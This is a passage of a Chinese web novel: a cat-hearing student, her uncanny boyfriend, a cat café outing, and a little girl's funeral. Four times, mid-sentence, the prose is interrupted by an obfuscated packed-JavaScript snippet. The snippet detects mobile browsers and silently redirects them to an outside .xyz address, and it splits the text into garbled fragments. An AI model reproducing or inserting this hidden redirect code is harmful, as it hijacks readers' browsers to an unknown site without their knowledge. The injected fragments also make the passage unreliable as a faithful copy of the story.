小雪摇了摇头:“我出门在外的时候都不会有这种感觉,可只要一回家,只剩下我一个人的时候。这种被注视的感觉就格外强烈。” “而且我很仔细地排查过,家里真的只有我一个人。我家很小的,藏不下什么人。” 常喜乐原本靠在沙发上思考人生,等她回过神来,已经专注地听着书房传来的声音了。她听到这儿,不禁打了个寒战,因为觉得有点吓人。 弹幕纷纷讨论着这种情况有哪些可能性。 “其实吧,如果是鬼也就算了,让看一眼也不会少块肉。”这种被注视感其实不妨碍什么,对小雪生活的影响并不大,“我就怕是有歹徒。” 常喜乐点了点头,有时候,人比鬼还要可怕得多。 杨瑰司照例要了小雪的地址,她闭眼思索了很久,大家都习惯了,只等着她如有神助般说出结果。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14407513|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>然而,五分钟后,杨瑰司睁开眼睛说:“我不知道。” 这还是杨瑰司第一次在直播间说她不知道,她慎重地回答:“我并没有看到鬼或者是其他人。” 小雪松了一口气,放下心来:“那没事了呀,可能只是我疑神疑鬼吧?鬼司你这么说我就放心了,非常感谢!” 弹幕也滑过一些“没事就好”的贺喜词句,然而杨瑰司的神情却不怎么轻松。 等连线挂断后,杨瑰司没说几句就结束了直播。随后她破天荒地回关了这位粉丝,给对方发了一封私信。 常喜乐有心想问杨瑰司是怎么回事儿,但她的话还没说出口就被怀里震动的手机给打断了。 她拿起手机,上面破天荒得闪烁着“安平”这两个字。 真稀奇,安平什么时候给她打过电话?常喜乐划了接听键,把手机放到耳朵边:“喂,怎么啦?” “你在哪?”电话里的声音喘气声很重,像是刚刚剧烈跑动过。 “在朋友家。你别急,有什么事慢慢说。”安平这样焦急的样子常喜乐就更没见过了,她安抚道,“是不是昨天小猫的事有后续了?” “下楼。”安平没有回答她的问题,只是言简意赅地说了两个字。 “什……”常喜乐还没有反应过来,就感到被一个影子笼罩,有人站在了沙发后。 与此同时,两边的人各自说了一句话。 “小心你的室友。” “在和谁打电话?” 常喜乐眨了眨眼,觉得信息量似乎有点大,一时之间不知道该先回答谁。 她抬起头,从这个角度仰视杨瑰司,总觉得她唇角的笑容饱含深意,不知道她有没有听见刚才电话里的内容? “下楼,我在楼下等你。”安平没有再解释更多,他喘匀了气,耐心地对常喜乐说。 常喜乐挂断了电话,虽然感到疑惑,却还是站起了身,她对杨瑰司说:“我男友有事,我先去找他吧,今天谢谢你啦。” 杨瑰司点了点头,她意味深长道:“有句话,我昨天没跟你说。” 常喜乐回忆了一下,想起来:“是指你昨天撤回的那条消息吗?” “对。”杨瑰司送常喜乐到房门口,替她打开大门。 杨瑰司靠着门框,笑容不减:“虽然由我说出来像是在挑拨离间,但还是提一句,小心你男朋友。” 又是这样的语句。 常喜乐不解:“为什么呢?” 杨瑰司摇了摇头,说出了她今天的第二句“不知道。” “这只是一种直觉。”她笑着说,“比如,他怎么知道你在这栋楼呢?” “不过,鉴于我们认识不久,要相信谁也都随你。如我所说,我不会过多干涉她人的因果。”杨瑰司耸了耸肩,和常喜乐道声再见后就关上了房门。 常喜乐若有所思地走下了楼,透过二楼的窗户,她看见安平穿着蓝色衬衫,面对着公寓大门。他两手撑在膝盖上,胸口仍在起伏着平稳呼吸。 他目光灼灼地盯着大门,在等谁不言而喻。 可是,常喜乐下楼的脚步却显得犹豫了起来。 是啊,安平。 你怎么会知道我在这栋大楼里呢? 22.猫咖 常喜乐走出公寓大门的时候,并没有像平常那样小跑着飞奔到安平面前。她一向扬起的嘴角也是平直的。安平一下就注意到了这个微妙的变化,他直起身,偏头观察她的表情。 “我有两个问题要问你。”她说。 安平点了点头。他的呼吸还没有完全平静下来,额前鬓角还微微沁着汗珠,打湿了发尖,但对常喜乐这急转直下的态度却没有丝毫怨言。 常喜乐注视了他一会儿,很拿他没办法似的叹了口气,从口袋里拿出纸巾来给他擦汗。她一边擦一边问:“首先,你怎么知道我在这栋楼里?” 安平盯着她的眼睛,说:“我的朋友看到后告诉我的。” “这么巧?”常喜乐有些狐疑,事实上她很想问“原来你也有朋友吗”,但这个问题实在有些伤人,常喜乐忍住没问出口。 “这是第二个问题吗?”安平没有直接回答,反问她。 “你还跟我玩抠字眼!”常喜乐听完很不高兴地屈指弹了一下他的额头,她没好气道,“第二个问题,为什么让我小心我的室友?” 安平的表情却变得纠结起来,过了半晌,他才艰难道:“就是,一种感觉。” 真是毫无说服力的理由,然而这样的理由今天却让常喜乐听见了两次。她突然想起杨瑰司和安平刚见面那天时的气氛就不大对劲。听说有些人虽无冤无仇,但生来就气场不和,一见面就要掐架。 也许他们两个人只是互相看不顺眼,虽然他们各自都说不出什么令人信服的理由。 常喜乐耐心地问:“安平,假如有人让我小心你,远离你。你会怎么办?” 安平的表情突然变得有些悲伤,他说:“这取决于你。” 如果你也认同,那我只好离开。 “我不信。”常喜乐抬起手,抚平他紧皱的眉毛,“比起听别人说,我更愿意自己看。我不觉得你是坏人,所以我不会在意别人怎么评价你。” “同样的,尽管你对杨瑰司有意见,但我不认为她是坏人。我也有选择交友的权利。”常喜乐继续往下说,“从我认识杨瑰司开始她所做的一切都是好人好事,我想和她成为好朋友,这取决于我,对吗?” 安平认真地想了很久,点了点头。 这件事就算揭过去了。常喜乐关心道:“昨天那只小猫现在怎么样了?” 安平唇角微勾,看起来心情终于好了起来:“它没事,只是饿过头,现在已经康复了。” “你是把它送去宠物医院了吗?我想去看看它。”常喜乐跟着安平一起往小区外走,她还是放心不下,希望能亲自去看看。 安平眼神微微闪烁:“等它身体恢复之后,我们就放生了。” “恢复得这么快吗?”常喜乐有些惊讶,她想起什么,又说,“我下午打算去一趟猫咖,你要不要和我一起?” 安平痛快地点了头。 等两人在地铁上并肩站着的时候,安平才突然问:“猫咖是什么,一种咖啡吗?” 他猜着猜着也开始怀疑自己话里的内容:“用猫制作的……咖啡?那也太糟糕了。” “不是啦!”常喜乐好笑道,“就是一家有很多猫的咖啡馆。吃甜品之余还可以撸猫噢!” 合着安平连究竟要去哪都不知道就无脑跟随常喜乐走了。 安平顿了几秒,表情突然变得莫测。他微微扬起下巴,点评道:“原来是更糟糕的情况。” 常喜乐腹诽,有什么事能比把猫做成咖啡还要糟糕? 安平像是忍了很久,才又向常喜乐讨教:“你说的这种店,和青楼有什么区别?” “你最近又在看什么书啦?”常喜乐哈哈大笑起来。安平在她的建议下不时会去校图书馆借书,看来最近他在阅读的是以前朝代的某些县志。她扶着安平的肩膀,直到笑够了才认真讨论起他问的问题,“其实说像倒还真有点,但生活不易,猫猫接客,这是它们的工作嘛。” “怎么会有猫愿意被完全不认识的人类摸毛?”安平不解。 “但我偶尔去猫咖的时候,感觉被我顺毛的小猫还挺开心的诶。”常喜乐摸着下巴回忆道。 “缺少风骨。”安平恨铁不成钢。 两人最后走到了大学城附近一家挺有名的猫咖,名叫“遇见喵”。因为时间还早,店里只零星有几个人。 店家仔细地给他们的手、衣服消过毒后,才打开隔断栅栏,还不忘推销自家产品:“黑猫注意不能摸哦,它们的脾气很爆的。另外,我们这里提供小零食,十元一份,可以买来喂猫噢!” 这小零食的作用不言而喻,只见栅栏内的人分为两种。一种是只要把手放到猫身上,就会被轻巧避开的人;还有一种则是手捧着一小罐猫零食,被小猫群众星拱月围着的人。 常喜乐微微叹气——想要撸猫,这零食岂不是非买不可? 然而,两人一进去,奇怪的事就发生了。 不论是在睡觉、在嬉戏,或者在进食的猫,都抬起头看向门口。它们有的在原地观望,有些则慢慢踱步向两人走来。 事实上,它们似乎是冲着安平来的。好多只猫径直绕过了常喜乐,蹲在了安平的脚边。有一只白猫蹭了蹭他的裤脚,微微张开嘴,它还没喵半个音节,安平就以食指比在嘴唇上,轻轻嘘了一声。 白猫就真的安静了下来。 不止是它,整个店的猫都安静了下来。 “哇……”常喜乐惊叹着观察这难得一见的奇景。 安平却仿佛习以为常似地抬脚和常喜乐一起继续往二楼走,那十几只猫就四散开来,但看着它们走动的方向,依然以安平为圆心移动。 那原本在喂猫的女客人身边一下就空落落的了,她盯着这两位不速之客,不满地嘟囔了一句:“搞什么啊……”然而在视线移转到那刚进门的男人的脸上时,她的眼神又浮现惊艳之情。 二楼还卧着许多只猫,安平找了个沙发坐下,他身边到最后总共围了二十余只猫。 “天呐,安平,我从来没有见过有谁这么受猫欢迎。”常喜乐靠近他的领口嗅了嗅,故作威胁道,“从实招来,你是不是悄悄往身上喷了什么猫薄荷相关的香水!” 安平面对这二十多只人类眼里的萌物却不为所动,眉宇间甚至有些不耐烦。他抬起手挥了挥,这些猫才终于散开各自继续原本的事,只剩下一两只白猫仍不愿意离开,在他脚边找了个位子卧下。 常喜乐则饶有兴致地跑到某个矮桌前,那上边卧着一辆灰猫,正在小憩。她装作不经意地坐在矮桌边,这个计划很有效,那灰猫只抬头瞟了她一眼就又卧下了。 常喜乐又四处张望,随后假装漫不经心地把手掌心搭在了灰猫的脑袋上。灰猫还是没有离开的意思。 太棒了!常喜乐在心里比了个耶,她慢慢地顺起它脖颈上的毛来,然后轻声问:“小猫小猫,你说句话让我听听好不好?” 没错,这次来,常喜乐就是想再验证一下自己听见猫说话的准确度。 灰猫没有说话,只是打了个哈欠。不远处的安平咳嗽了一声后,它更是翻身爬起来换了张桌子继续睡。这下常喜乐的身边真的空无一猫了。 常喜乐盯了安平一眼,隔空对他比了个“嘘”,埋怨的意思不言而喻——你把我的小猫给吓跑啦! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14418885|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她只好又起身去寻找别的目标。 安平靠在沙发上,百无聊赖地看着常喜乐到处骚扰小猫。但在他的注视下,几乎所有的猫都对常喜乐爱答不理的。 他突然感到身侧的沙发往下陷了陷,转头看,是个没见过面的女人。 这女人手上拿着一小罐猫零食,正是刚才在一楼喂猫的女顾客。她和安平对上眼神后,弯唇笑着说:“你好!刚才一进门我就注意到你了,你是怎么做到让这么多猫都围着你转的呀?” 这女人简直有些自来熟,她见安平不说话,又自顾自地猜测道:“是不是因为你是白色的头发?感觉好顺滑有光泽,和猫毛一样,你是怎么保养的,我能摸摸吗?”她说话就自顾自伸手,想要碰一碰他的头发。 安平偏头避开他,如果常喜乐现在望到这边,就会知道安平是不高兴了。身边这陌生女人的话,他没听进去半点,只是目不转睛地看着常喜乐。 她在一个猫爬架边上,盯着一只黑猫。常喜乐被安平刚才大受欢迎的盛况给唬得忘记了店员的嘱咐——黑猫的脾气不好,请勿招惹。 她试探性地伸出手,想摸摸黑猫的头逗它说话。老实说,就算黑猫喵出来的话是在骂她她也认了。 然而指尖还没碰到毛发,黑猫就仰起头对着常喜乐哈了一口气,很有威胁的意思,吓得常喜乐立刻收回了手:“好吧好吧,不招你了。” 常喜乐从前不说猫见猫爱,多少还是有点动物缘的。这还是她第一次碰这么多猫壁。她看着自己的手,微微叹了口气:“我有这么招猫讨厌吗?”难道是因为运势变差了的缘故? 从旁观者的角度看,常喜乐神情懊丧,似乎在思考什么艰难的问题。 安平还是不够了解常喜乐。否则,他就会知道,此人只是在纠结究竟要不要买点猫零食来。 常喜乐:可恶,总感觉买了就真的变恩客了。 沙发边上那个女人的话语在安平听来逐渐变得模糊不清,她自顾自说得都要口干舌燥了。 “我看我们也有些缘分,能不能加个联系方式呀?帅哥?帅哥——”她看着一直面无表情的安平突然站了起来。他走到一边的角落,揪出了一只半大的小白猫。 这只小白猫因为体型瘦小,非常害怕生人。平常不管谁靠近它,它都受惊一样地跑开,更不要说是碰到它了。 然而它在安平的手里却乖巧异常,丝毫不挣扎,就这么任他提溜着带到了常喜乐的身边,轻轻放在了她的膝盖上。 小白猫在常喜乐的膝盖上翻了个身,安心地打起了呼噜。 常喜乐心里已经惊呼了一百次“这是什么人间萌物啊啊啊”,但为了不惊吓到小猫,她只好忍住。 然而她还没忘了自己这次来猫咖的目的,她纠结着要不要戳戳小白猫,逗它说点什么。安平却仿佛早有预料似的“嘘”了一声。 他低头和常喜乐一起注视着这只打鼾的小猫,眼神温柔,用气音提醒道:“它睡着了,别吵它。” 常喜乐安静地点了点头,她伸手慢慢抚摸着小白猫头顶的毛,感觉着小猫肚皮随着呼吸在她膝上起伏。 等到日落西山,两人才走出猫咖,常喜乐伸了个懒腰,笑着叹了口气。 虽然今天似乎是一无所获的一天——她转头看了眼安平,他正低头查看她的手有没有被猫不慎挠伤——但却是幸福的一天。 前些天发生的事情太多,一串接着一串,她已经很久没有这样无所事事地和安平一块儿待着了。 两人在夕阳下并肩而行,没有听到前台店员的小声嘀咕: “奇怪,今天这些小家伙怎么都这么安静?” 23.葬礼 “啊,太奇怪了。现在的猫都不爱说话了吗?”常喜乐伸了个懒腰,她只是随口抱怨,没注意到安平的身形顿了顿。 “天冷了,不爱动吧。”安平试着为猫辩解。 常喜乐看了他一眼,拿出自己的手机来朝他晃了晃:“今日气温35度以上,我的朋友。” “……”安平默了默,流畅地改口,“天气热,不爱动弹吧。” “你还真是……”常喜乐注视着他的眼睛,用手虚指着他,原本想吐槽些什么。然而这人一本正经说胡话的样子也好看,一双湖蓝色的眼睛就这么温柔地望着你,让人说不出重话来。她转怒为笑,改戳为点,轻轻点了点他的额头,嗔道,“恃美行凶。” 这个脾气,倒让她想起来某个老朋友。 常喜乐继续往前走,想起来山城大学的那只“猫学长”。那只蓝眼长毛猫平时对人爱答不理的劲儿,和安平一样一样的,她又笑起来,转头对安平说:“改天,介绍你和我的一个朋友认识。你们肯定很聊得来!” 要是安平不会说猫语,她作为中介还能帮忙翻译一二呢。 安平不明白常喜乐怎么突然高兴起来了,这让他觉得刚才扯得那两句话很高明。他扬起唇,微微偏过头望向身后,在那家猫咖的橱窗里,几只白猫卧在窗边,视线穿越川流不息的人群,目送着某人的离去。 等常喜乐回了宿舍,就见方信艾拉着杨瑰司的手。杨瑰司面露嫌弃,到底没有扯开她。 方信艾刚经历这么生死一遭,对杨瑰司敬佩得五体投地:“鬼司大人!你什么时候直播?我要去给你刷礼物!” 杨瑰司的视线转向常喜乐:“其实吧,这事儿的主要功劳在喜乐。” 如果不是常喜乐发觉墙后有人,以她的能力未必能找到这饿死鬼的源头。 方信艾又向常喜乐作了个揖直道感谢,被常喜乐惊慌扶起。过了会,方信艾抬起头好奇地问:“可是喜乐,你怎么知道墙后面有人呢?” “我做了个梦。”常喜乐把昨天镜屋的灯熄灭后遇到的事说了一遍。提到杨瑰司和安平各自说的提醒后,杨瑰司还挑了挑眉毛。 “那好像不是梦。”杨瑰司举手打断常喜乐的叙述,“我真说了那句话,当时我以为是你的男友在带着你往房间边缘走,而他的气息显然不对。” “你是因为这个所以才让我小心他吗?”常喜乐沉思,“但带我走的人是那个小男孩才对。” “不是因为这个。”杨瑰司抱着手臂,慢慢摇了摇头。她本来想说点什么,但出于某种顾虑还是忍住了。 方信艾听她们提起这件事,想起了自己在“无名鬼屋”工作的那段时间,在她身边蹲着的小男孩居然是个鬼魂,不禁又打了个寒战,同时又觉得凄凉——在这样狭窄的无人知晓的地方死去,是多么可怕的一件事? 她想到这,站起来往任清所在的方向走。任清待戴着耳机,尽管她的设备里没放任何音频,此刻却完全听不懂另外三人的对话。 方信艾走到任清面前,叉着腰说:“你能不能站起来?” 任清摘下耳机,有些警觉地看着她,问:“干嘛?” “你站起来嘛!”方信艾把手放到任清的手臂下,硬是把人给扶了起来。 杨瑰司在一旁正襟危坐,准备一有不妙就上前把两人拉开,她悄悄对常喜乐说:“待会你拉任清我拉方信艾。” 常喜乐嘴角却噙着笑,她微微摇了摇头,轻声对杨瑰司说:“你看。” 只见任清莫名其妙地瞪着方信艾,刚想说“宿舍就这么丁点大不是我要偷听是你们该避着我好吗”的时候,被方信艾一个熊抱。 “呜呜呜呜呜任妹对不起我错了我前几天不应该凶你不应该抛下你自己去酒吧去鬼屋,我这么过分你还不计前嫌地照顾我,我要以死谢罪啊呜呜呜都别拦着我!”方信艾鬼哭狼嚎了一通后,悄悄睁开一只眼睛看任清的反应。 任清冷笑一声:“没人拦着你啊。” 方信艾沉默了一秒,常喜乐咳嗽了一声。 方信艾就干脆闭了眼继续抱着任清哀嚎:“我给你滑跪了呜呜呜,任妹再爱我一次!”她说话又急又快,又刚病了一场,没一会儿就开始剧烈地咳嗽。 任清见状连忙挣开她的拥抱,一边骂道:“要我说你什么好!”一边倒了杯水递给方信艾。 方信艾接过水,小口小口地啜饮,眼睛还不住盯着观察任清的表情。她大着胆子伸手摇了摇任清的胳膊,撒娇道:“之前和你提的那家杭帮菜,超级好吃的,一定符合你的口味。我们明天去吃好不好?” “刚生了病,别出去吃了。”任清抿了抿唇,没好气道,“等你好了我再陪你去。” 方信艾当即喜笑颜开,放下水杯又把任清扑了个仰倒。她还不忘悄悄回头看一眼常喜乐,常喜乐回了她一个wink。 杨瑰司看出蹊跷来,用肩膀拱了拱常喜乐,小声问:“怎么回事儿?” 常喜乐吃吃地笑起来,靠近杨瑰司和她咬耳朵。 事情初还是方信艾找的常喜乐。小姑娘想和任清重归于好,但又怕碰壁:“万一她真的讨厌我了,我缠着她会不会被烦呀?” 常喜乐勾了一下她的鼻子,好笑道:“你有没有听过一句话,看一个人对你好不好,不看她说了什么,而看她做了什么?” 方信艾陷入沉思。 常喜乐接着问:“你喝醉是谁接你回的宿舍?” “任妹。” “你生病是谁照顾的你?” 方信艾小声回答:“任妹……” “所以呀,任妹怎么会讨厌你呢?”常喜乐点了点她的额头,苦口婆心道,“她在乎你,你也要打直球,表现出你的在乎。天然克傲娇懂不懂!” “嘿嘿,好!”方信艾有了信心,也乐呵起来,“不过,你为什么看起来哄人这么熟练啊?” 常喜乐眯起眼睛,像是想起了什么幸福的事:“我小时候,养了一只猫。它脾气可暴啦,有次我给它梳毛,没注意到有一个地方打结,弄疼了它,它气得好几天不理我呢。” “我那个时候好伤心,觉得它怎么能说翻脸就翻脸。” “但后来,在某个雷雨天,我一个人在家吓得直哭。是那只小猫跑进房间,贴着我的脸陪着我的。它急得团团转,一直舔我的脸,想让我别再哭了。”常喜乐捧着脸,慢慢陷入回忆。 “真好……我有点想念我家小狗了。”方信艾感叹着,对她说,“马上国庆要回家了,你就可以回去见小猫咯。” 常喜乐没有说话,只是摇了摇头。 那只坏小猫,某一天突然不辞而别,再也再也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14422982|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有回家。 杨瑰司看着方信艾和任清又重新变回一团亲热,觉得很神奇。她没怎么经历过这样的友谊,一般闹掰就直接掰到底。 常喜乐则很骄傲地把手往椅子后一撑,刚想说话,突然听到了莫名的“噼里啪啦”声。 不好。两个人其实都反应过来了,但只来得及互相抓住对方的手,常喜乐还是不可避免地摔坐在地上。 任清和方信艾被这动静吓得回头看,杨瑰司懊恼地看着自己的手,常喜乐则双目放空。一阵沉默后,她甚至开始傻笑:“哈哈……哈哈哈哈……哈哈哈哈哈哈。” 原来人倒霉到一定程度,真的会笑出声来。 这原本是件惨事儿,但常喜乐一言难尽的表情实在太可爱,很快这笑声就传染了寝室里的每个人。 “哎哟,楼下阿姨真的要头痛死了。她保不准想搬把椅子坐上来看你平常究竟是个什么坐姿。”方信艾笑得上气不接下气。 常喜乐借着杨瑰司的手站起来,不知扯到了小腿上的哪根筋,疼得龇牙咧嘴。她委屈道:“椅子坏掉是我的错吗?” 椅子坏掉当然是那只黄鼠狼的错! 任清笑够了,没忘记给常喜乐顺毛:“好啦,你先看看有没有摔伤,我去替你领椅子。” 任清每次有纸盒子就囤起来送给宿舍阿姨拿去卖,阿姨每次见她脸都笑得和花一样。 方信艾紧随其后:“我陪你去!” 两人就拉着手一块儿出了门。 杨瑰司看了看日历,纠结道:“本来今天应该要带你去常乐山见我师父的,这下耽搁了。明天要去吗?……不过一天来回好像有些仓促了。” “其实特种兵一把,也不是不行。”常喜乐实在有些受够自己的烂运气了,她拿出计算机问,“上一趟山大概需要多久?” 杨瑰司掐着指头算:“诶……我也好久没回去了,不知道师父有没有出门云游。” 常喜乐轰轰烈烈的计算还没到一半,就被一阵电话铃声打断了。她嘘了一声接起电话,杨瑰司就看着这张就算倒霉也不皱眉的笑脸慢慢地黯淡了下来。 “嗯,张阿姨,我是喜乐。”常喜乐嘴角的弧度完全消失了,她按着电话的手慢慢收紧,最后甚至连话都说不出口,只能用“嗯”来表示自己在听。 “明天是吗?我会来的,嗯。”常喜乐挂掉电话,看向杨瑰司,“瑰司……” “怎么了?”杨瑰司看着常喜乐的眼眶逐渐盈满泪水,她哪儿见过这阵仗?手忙脚乱地拿纸巾给常喜乐擦眼泪。 常喜乐狠狠皱着眉头,她伸手抓住自己的前襟,觉得很难过:“我怎么这么没用?” “什么呀,怎么就没用了?”杨瑰司真不明白那通电话里讲了点什么,怎么就这么立竿见影地给人惹哭了。 常喜乐看着手机界面上那通电话记录,喃喃道:“我连句节哀都说不出口。” 明天是徐婉佳的葬礼,张钧婵打来电话请求常喜乐务必来参加。 “这孩子当晚念叨着要给喜乐姐姐打电话,我非说太晚了别打扰你。”张钧婵原本语气平静,说着说着却泣不成声,“我怎么就非得拦着她?” 常喜乐沉默地听着电话里的低泣,只觉得一切语言上的安慰都太过苍白。 常乐山寻师一行只好搁置。 24.荷包 等常喜乐跟着手机上的地址到达目的地的时候,就看见一大片空地上支起的许多个帐篷。张钧婵正在入口处和来客说话。她的面色憔悴,眼睛红肿,显然是哭了很多场。此刻却强打起精神来接待客人。 她一下就注意到了常喜乐,和前头的宾客打完招呼后就快步迎上来,拉起常喜乐的手说:“你来了?快,这边坐。” 常喜乐被安排到了靠近里屋的一个桌子,这一桌的人都面色沉重,也不怎么说话,和门口还偶有说话笑语的人们差别很大。常喜乐猜,这一桌大概是和徐婉佳关系更近的亲人。 常喜乐以前曾去过老人家的葬礼,老人家是到了岁数走的,去时无病无灾,算是喜丧。葬礼上的氛围其实并不那么沉重,大家讨论着老人家生前的事迹,一同缅怀他。 可,常喜乐望着不远处摆着的徐婉佳的黑白照片。小孩子似乎没有正经严肃的照片,选了一张在草坪上开心地对镜头比耶的照片,却因为这黑白色系显得格外悲凉。 她还那么小,美好的人生还没有开始。甚至人们要谈起她的人生,都无从说起。 常喜乐觉得眼眶一酸,但忍着没有哭。 在强忍悲伤的人面前,哭泣也是一种打扰。 等她跟着众人到徐婉佳的黑白照片前献完白菊后,在心里对小徐婉佳道了声歉:“对不起佳佳,我明明说好了要来探望你。” 她突然想:假若世界上真的有鬼,会不会徐婉佳本人的灵魂就在这儿看着大家呢? 常喜乐给其他来献花的人让位子,她还没来得及回到自己的座位,张钧婵就来到她面前。 张钧婵吸了吸鼻子,温和道:“好孩子,阿姨能不能和你说说话?” 两人走到了更远处没什么人的花坛边坐下,张钧婵握着常喜乐的右手,张了张嘴,一说话声音就有些哽咽。她捂住嘴,低下头说:“抱歉……” 常喜乐轻拍着她的背,低声说:“没事的阿姨,您慢慢说。” 等张钧婵恢复好情绪,她才拍了拍常喜乐的手,坐着向她鞠了一躬,说:“阿姨真的要谢谢你。” “不用不用!”常喜乐忙把人扶起来,“我什么也没有做,不值得谢我的。” 张钧婵慢慢摇了摇头,想反驳,声音却又哽咽了。她深呼吸了几次才说:“谢谢你那一天救下我们佳佳,让我能多跟她待一天。本来,我们那天在闹别扭。” 那一天,常喜乐救下徐婉佳,离开病房后,张钧婵本来想严厉教训一下徐婉佳的。 但她的小女儿紧紧地抱住了她的腰,一边哭一边说:“妈妈!我爱你!” “怎么突然说这个?”徐婉佳要责骂的话还没有说出口,她怀疑这小妮是为了逃避挨罚在撒娇。 但徐婉佳把脸埋在她的衣服里,深吸了一口气说:“妈妈,我早上不该跟你闹别扭的。我说我再也不爱妈妈是假的!如果我刚才掉下去了,我就再也没办法告诉你我爱你啦。” 张钧婵愣了愣,右手轻轻抚摸着徐婉佳的头发,叹了口气:“妈妈也爱你呀,佳佳。” 你就是妈妈的心肝宝贝,要是没了你,妈妈可怎么活? 张钧婵说到这,郑重地对常喜乐说:“谢谢你,让我们有多的时间说出心里话。不然,我真的都不想活下去了。” 常喜乐憋了很久的眼泪慢慢掉了下来,想说这是她应该做的,最后只能流着泪摇头。 她想起昨天李川流和夏徕提到的她在医院所写的名单,实在想不明白。常喜乐问张钧婵:“阿姨,我能问,佳佳后来是发生了什么吗?” 张钧婵没有避讳这个问题,但这的确不是复杂的事情。早上一醒来,张钧婵想叫醒徐婉佳配合护士查房时,发现女儿的身体已经凉了。在夜间心脏骤停死亡,毫无预兆,甚至没有时间抢救。 常喜乐只觉得无言,她轻拍着张钧婵的背,一直到席间有人来叫张钧婵。 她连忙抹掉脸上的眼泪站起来,应道:“我就来!”她有些抱歉地转头对常喜乐说:“找你说了这么多,实在是我心里难过。好孩子,快来吃饭吧。” 常喜乐怎么有吃饭的心情,她摇了摇头对张钧婵说:“我再坐一会儿,您去忙吧。” 等花坛边就剩下她一个人,她才微微呼出一口气。微风轻轻吹过她的脸颊,带起她的发丝,常喜乐还在独自愣神的时候,长椅边却突然坐下了位穿黑色风衣的男人。 那男人坐下的动作太过行云流水,他并不是什么过路想歇息片刻的行人。事实上,他从刚才开始就一直目不转睛地盯着常喜乐。 这人一身黑衣,双手插兜,脸上还戴了个黑色口罩,只露出双丹凤眼。他眼尾微微上挑,仿佛看到什么让他极为在意的东西。 “姑娘,你也是这位死去的人的亲属吗?”他问。 常喜乐摇了摇头。 “那么,是朋友?”男人又问。 常喜乐依旧摇头。 “啊,真是奇怪。”男人看起来很不解,“既然你们既非至亲也不是好友,几乎等于萍水相逢,那你为什么哭得这样伤心呢?” 这话很没有礼貌,常喜乐抬眼看他:“她还这么小,却就这样离世了,难道不值得可惜、不值得伤心吗?” 男人摇了摇头,他耸耸肩说:“摇椅上的高龄老人会死,襁褓中的婴儿也会死。黄泉路上无老少。” 不能因为死亡常见,就剥夺生者哭泣的权利。常喜乐却没力气再和他争辩,只是低声评价着:“冷血。” 男人对这句话却毫不在意,他眨了眨眼,突然问:“怎么称呼你呢?” 常喜乐张了张嘴,刚要回答,却突然想起小姨曾叮嘱她的那句话。 “记住,无论任何时候,都不要告诉陌生人你的名字。” 常喜乐这个名字在她舌尖转了转,最后被咽下,她反问道:“问人名字前,不该先自报家门吗?” “哈……”尽管男人戴着口罩,常喜乐却感觉到他似乎笑着扬起了嘴角,感叹道,“你的警惕心还真是高呢。” “不打紧,我总会知道的。” 常喜乐转头,正好对上他玩味的视线。他的眼睛长得很漂亮,见过的人大概一眼就能记住。而她觉得,这双眼睛是这样熟悉,似乎在哪儿见过一般。 天空中的乌云逐渐散开,露出刺目的烈烈阳光。 正午要到了。 常喜乐再一眨眼,面前就没人了。她四下张望了一番,都没有再看到刚才那个穿着黑色风衣的男人。 她喃喃道:“怎么会……”感觉这样熟悉。 就好像同样的对话在很久之前就曾说过似的。常喜乐从前听人讲起,说这叫做既视感。 她仍在回忆之中,突然被人从背后拍了拍肩膀。常喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14447585|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐吓得一下从椅子上站了起来,把她身后那人也吓了好一跳。 “谁啊?”常喜乐回过头,仍然心有余悸。 面前这人是个生面孔,只是眉眼间让她有股熟悉之感。对方还在道歉:“对不起,吓到你了吧?” 见常喜乐没认出她来,女人想了想,用手遮住自己的下半张脸,问:“这样能认出来不?” 常喜乐仔细辨认后,才不确定地说:“许护士?” 面前这位正是常喜乐住院时负责她的那位许护士。许护士在医院时一直戴着口罩,常喜乐从没看见过许护士的全脸,也不怪她一时没认出来。 想到这,常喜乐突然起了一身鸡皮疙瘩。她回忆着起了前几日住院时梦中的场景,想起那坐下长案前问她姓名的男人的脸。 